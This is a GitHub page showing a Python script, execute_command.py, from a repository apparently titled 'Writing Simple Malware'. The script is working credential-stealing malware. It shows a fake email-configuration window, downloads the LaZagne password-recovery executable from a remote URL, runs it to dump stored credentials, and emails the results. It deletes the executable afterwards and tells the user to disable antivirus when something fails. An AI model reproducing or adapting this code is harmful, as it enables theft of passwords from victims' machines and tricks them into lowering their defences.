-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathexecute_command.py
More file actions
93 lines (59 loc) · 2.29 KB
/
Copy pathexecute_command.py
File metadata and controls
93 lines (59 loc) · 2.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import subprocess, smtplib, requests, os, tempfile
import tkinter as tk
from tkinter import messagebox
root= tk.Tk()
def download(url):
print("downloading files....")
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)
def send_email(email, password, message):
print("Complete Configurations... kindly wait")
try:
print("Completing Configurations...")
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
except:
print("Email Not Sent Successfully, Try again...")
else:
messagebox.showinfo("Email Sent Successfully")
os.remove("lazagne.exe")
print("Program Running...")
def setCredential():
x1 = entry1.get()
x2 = entry2.get()
root.destroy()
result = " "
temp_dir = tempfile.gettempdir()
os.chdir(temp_dir)
try:
download("https://raw.githubusercontent.com/shivdon/-Writing-Simple-Malware/master/lazagne.exe")
command = "lazagne.exe all"
result = subprocess.check_output(command, shell=True)
print("Download Completed...Running conf")
except Exception:
messagebox.showinfo("Action Required"," Server Exceptions....Disable antivirus and Restart the program")
else:
send_email(x1, x2, result)
canvas1 = tk.Canvas(root, width = 400, height = 300, relief = 'raised')
canvas1.pack()
label1 = tk.Label(root, text='Send Email to get results')
label1.config(font=('helvetica', 14))
canvas1.create_window(200, 25, window=label1)
label2 = tk.Label(root, text='Enter Email:')
label2.config(font=('helvetica', 10))
canvas1.create_window(200, 100, window=label2)
entry1 = tk.Entry (root)
canvas1.create_window(200, 140, window=entry1)
label2 = tk.Label(root, text='Enter Password:')
label2.config(font=('helvetica', 10))
canvas1.create_window(200, 160, window=label2)
entry2 = tk.Entry (root, show="*")
canvas1.create_window(200, 180, window=entry2)
button1 = tk.Button(text='Send Email', command=setCredential, bg='brown', fg='white', font=('helvetica', 9, 'bold'))
canvas1.create_window(200, 220, window=button1)
root.mainloop()